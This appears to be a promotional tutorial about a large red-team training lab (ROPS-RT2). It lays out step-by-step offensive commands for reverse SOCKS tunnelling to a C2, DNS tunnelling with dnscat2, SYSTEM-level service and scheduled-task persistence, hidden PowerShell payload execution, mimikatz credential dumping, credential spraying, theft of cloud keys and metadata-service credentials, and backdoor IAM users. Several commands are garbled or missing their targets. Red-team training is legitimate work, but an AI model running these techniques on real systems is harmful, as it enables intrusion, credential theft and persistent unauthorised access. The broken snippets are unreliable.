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Introduction:
The evolution of cybersecurity training has moved beyond isolated virtual machines to complex, living ecosystems that mirror real-world enterprise chaos. Modern red teaming requires not just exploiting a single vulnerability but navigating intricate network segmentation, unpredictable system failures like the Blue Screen of Death (BSOD), and dynamic defensive postures. The upcoming ROPS-RT2 scenario, built on the Rogue Architect platform, represents a paradigm shift by offering a per-user environment with over 40 interconnected machines, forcing operators to contend with simulated operational friction such as aggressive firewall rules and system instability, thereby hardening their tradecraft against the unpredictable nature of live engagements.
Learning Objectives:
- Master the art of network pivoting and lateral movement across a segmented environment with over 40 target machines.
- Develop operational resilience techniques to handle simulated system failures (BSODs) and defensive countermeasures without losing access.
- Implement advanced firewall evasion tactics and understand how to reconnoiter and manipulate restrictive rulesets to maintain persistence.
You Should Know:
1. Architectural Overview of the ROPS-RT2 Gauntlet
The ROPS-RT2 scenario is designed to test the upper limits of an operator’s situational awareness and infrastructure management. Built on the Rogue Architect platform (https://lnkd.in/e7KkqEFS), this environment provides a massive, isolated network for each user. Unlike static labs, this setup includes over 40 machines per user, featuring a mixture of domain controllers, workstations, servers, and potentially segmented OT or development environments. The “giant scenario” introduces dynamic twists, such as scheduled firewall rule changes and randomly triggered BSODs, mimicking the chaos of a live enterprise where defenders are active and infrastructure is unstable.
To effectively navigate this environment, operators must first establish a robust command and control (C2) infrastructure that can survive reboots and network reconfigurations. Start by mapping the network topology using built-in Windows tools like `net view` or `nltest /dclist:domain` to identify key assets. For Linux-based pivot points, utilize `ip route show` and `ss -tulpn` to understand routing tables and listening services. The goal is to create a living map that updates as systems crash and restart, ensuring you don’t lose sight of critical assets like the primary domain controller or file servers.
Step‑by‑step guide:
- Initial Reconnaissance: Deploy a lightweight agent or use built-in tools to enumerate the network. On a compromised Windows host, run `ipconfig /all` to capture IP ranges and DNS servers.
- Topology Mapping: Use `arp -a` to identify active hosts on the local subnet. For broader enumeration, employ `nmap` from a Linux pivot: `nmap -sn 192.168.1.0/24` to discover live hosts without triggering aggressive alerts.
- Pivot Configuration: Set up a SOCKS proxy using `chisel` or `ssh` dynamic forwarding to tunnel traffic through the compromised host. Command: `chisel server -p 8080 –reverse` on the C2, and `chisel client
:8080 R:socks` on the target. - Service Enumeration: Once pivoted, scan internal subnets for key services like SMB (port 445), RDP (3389), and WinRM (5985) to identify potential lateral movement paths.
2. Navigating Aggressive Firewall Rules
The ROPS-RT2 scenario explicitly mentions “firewall rules” as a core challenge. In a mature environment, Windows Firewall and Linux `iptables` or `nftables` are configured to restrict inbound and outbound connections, often whitelisting only specific IPs or protocols. To succeed, operators must shift from relying on default open ports to utilizing living-off-the-land binaries (LOLBins) and advanced tunneling techniques to bypass these restrictions.
Common firewall configurations block outbound SMB (port 445) or RDP (3389) to prevent lateral movement. In such cases, operators can leverage protocols that are often allowed, such as HTTP (80), HTTPS (443), or DNS (53). Tools like `Invoke-Command` over WinRM (port 5985) may still be available if the firewall rule allows it. Alternatively, utilizing `Bitsadmin` or `Certutil` to download tools via allowed ports can circumvent strict egress filtering.
Step‑by‑step guide:
- Firewall Enumeration: On a Windows target, run `netsh advfirewall firewall show rule name=all` to list all firewall rules. Look for rules that allow inbound connections from specific IP ranges or specific programs.
- Tunneling via HTTP: Use `Neo-reGeorg` or `Chisel` to tunnel traffic over HTTP/HTTPS. For example, on the target, run `chisel client
:443 R:1080:socks` to forward traffic through the C2 server on port 443. - DNS Tunneling: If DNS is unrestricted, set up a DNS C2 channel using
dnscat2. On the server:ruby dnscat2.rb <domain>; on the target: `dnscat2-powershell.ps1` to establish a covert channel. - Lateral Movement via Allowed Protocols: If WinRM is open, use `Enter-PSSession -ComputerName
-Credential $cred` to move laterally. If RDP is restricted, use `xfreerdp /v: /u:user /p:pass /network:auto` with a SOCKS proxy to route through an allowed path.
3. Building Resilience Against System Failures (BSOD)
One of the most unique challenges in this scenario is the simulation of BSODs. In a real engagement, a critical server crashing can wipe out memory-resident payloads, break tunnels, and force operators to re-establish access from scratch. This requires a shift from reliance on in-memory-only payloads to deploying persistent mechanisms that survive reboots and the chaotic state of a recovering system.
Operators must ensure that their C2 infrastructure is resilient to outages. This involves deploying multiple persistence mechanisms across different machines in the environment. For instance, while a scheduled task might survive a reboot, a kernel driver-based persistence could be wiped out by a BSOD if the system crashes during a write operation. The key is redundancy and time-staggered callbacks.
Step‑by‑step guide:
- Deploy Redundant Persistence: On a Windows host, install a service as persistence using
sc create <ServiceName> binPath= "C:\path\to\payload.exe" start= auto. Also, create a scheduled task that triggers on user logon or system startup usingschtasks /create /tn "Updater" /tr "C:\path\to\payload.exe" /sc onstart /ru system. - Automated Reconnection Scripting: Write a PowerShell script that checks for internet connectivity and C2 reachability. If the C2 is unreachable, the script can attempt alternative communication channels (e.g., fallback to HTTPS if HTTP fails) or wait for a random interval before retrying to avoid pattern detection.
- Leveraging WMI for Resilience: Use WMI Event Filters to trigger payload execution on system events such as service startup or user logon. Command:
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe -NoP -W Hidden -Exec Bypass -File C:\payload.ps1". - Persistence on Linux Pivots: On Linux machines, use `cron` jobs or systemd services. Add a cron job: `@reboot /path/to/payload` in the crontab. For systemd, create a service file in `/etc/systemd/system/` and enable it with
systemctl enable payload.service.
4. Adversary Simulation Workflows for Multi-Machine Scenarios
Managing 40+ machines requires a structured workflow to avoid losing track of compromised assets and to prioritize targets. This involves using C2 frameworks like Cobalt Strike, Covenant, or Mythic with a disciplined approach to beacon management, logging, and automation. The ROPS-RT2 scenario is built on Rogue Architect, which is designed to integrate with these frameworks, allowing for scalable operations.
Operators should utilize C2 profiles that mimic legitimate traffic to blend in with the environment. Automation scripts can be used to harvest credentials from multiple machines simultaneously using `Mimikatz` or `DCSync` attacks against domain controllers. The goal is to achieve domain dominance before the chaos of firewall rule changes and BSODs disrupt the operation.
Step‑by‑step guide:
- Centralized Logging: Configure your C2 framework to log all beacon output to a centralized database. Use `aggressor` scripts in Cobalt Strike to automatically tag and color-code beacons based on privilege level (e.g., red for SYSTEM, yellow for user).
- Automated Credential Harvesting: Use a script to iterate through all compromised hosts with administrative privileges, running `mimikatz` via `Invoke-Command` or a beacon’s execute-assembly function. Command:
execute-assembly /path/to/mimikatz.exe "privilege::debug sekurlsa::logonpasswords exit". - Lateral Movement Automation: Develop a script that uses compromised credentials to spray against the network using `Invoke-Command` or
psexec. For example, using `PowerShell` to test credentials: `Test-Connection -ComputerName-Count 1` followed by Invoke-Command -ComputerName <Target> -ScriptBlock { whoami } -Credential $cred. - Persistence Across Subnets: As you compromise new subnets, ensure that at least one beacon in each subnet has high-availability persistence (e.g., a scheduled task that re-downloads payloads if they are deleted) to survive network segmentation changes.
5. API Security and Cloud Hardening Considerations
While the ROPS-RT2 scenario focuses on on-premise chaos, modern enterprise environments invariably extend to cloud services and APIs. In a hybrid scenario, operators might encounter cloud-connected agents or APIs that manage firewall rules or infrastructure. Understanding how to abuse API keys, misconfigured IAM roles, or exposed cloud metadata services is crucial for a complete compromise.
If the environment includes cloud elements, operators should focus on extracting credentials from configuration files stored on compromised machines, such as `.aws/credentials` or Azure config.json. These keys can provide a direct path to cloud resources, bypassing traditional network segmentation.
Step‑by‑step guide:
- Search for Cloud Artifacts: On compromised Windows and Linux machines, search for cloud provider files. Use `findstr /s /i “access_key” C:\.json` on Windows, or `grep -r “secret_key” /home/` on Linux.
- Exploit Metadata Services: If the target is a cloud VM (e.g., AWS EC2, Azure VM), attempt to access the metadata service to retrieve temporary IAM credentials. Command: `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` on AWS.
3. API Abuse with Stolen Keys: Use the stolen keys with cloud CLI tools to enumerate resources. For AWS: `aws s3 ls –profile stolento list S3 buckets. For Azure:az storage account list –subscription`. - Cloud Persistence: Create a backdoor by adding a new IAM user or API key in the cloud environment, ensuring access remains even if the on-premise infrastructure is fully reset.
What Undercode Say:
- Embrace Operational Chaos: The inclusion of BSODs and dynamic firewall rules in ROPS-RT2 reflects a crucial industry truth—real-world engagements are rarely clean. Operators must be trained to handle infrastructure instability as a primary variable, not an edge case.
- Resilience is the New Stealth: While evading detection remains critical, the ability to maintain access through system crashes, reboots, and configuration shifts is what separates skilled red teams from novices. Redundancy and robust C2 architecture are non-negotiable.
- Automation Amplifies Scale: Managing 40+ machines manually is untenable. This scenario underscores the necessity of integrating automation into red team workflows, from credential harvesting to lateral movement, to maintain operational tempo before defenders can react.
- Holistic Environment Thinking: The scenario’s design forces operators to think beyond the initial exploit. It demands a comprehensive understanding of network architecture, Windows internals, and system administration to navigate the intertwined challenges of segmentation and system failures.
Prediction:
As enterprise networks continue to grow in complexity and defenders increasingly adopt automated, dynamic countermeasures (like chaotic firewall rules and self-healing infrastructure), red team training will fully shift towards large-scale, “living” environments like ROPS-RT2. The future of offensive security certifications will likely move away from isolated box challenges towards persistent, multi-machine scenarios that simulate the full lifecycle of a breach—including the chaos of system failures and aggressive network controls. This evolution will force a new generation of operators to master not just exploitation, but the art of infrastructure resilience and adaptive operational planning.
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Reported By: Nick Downer – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
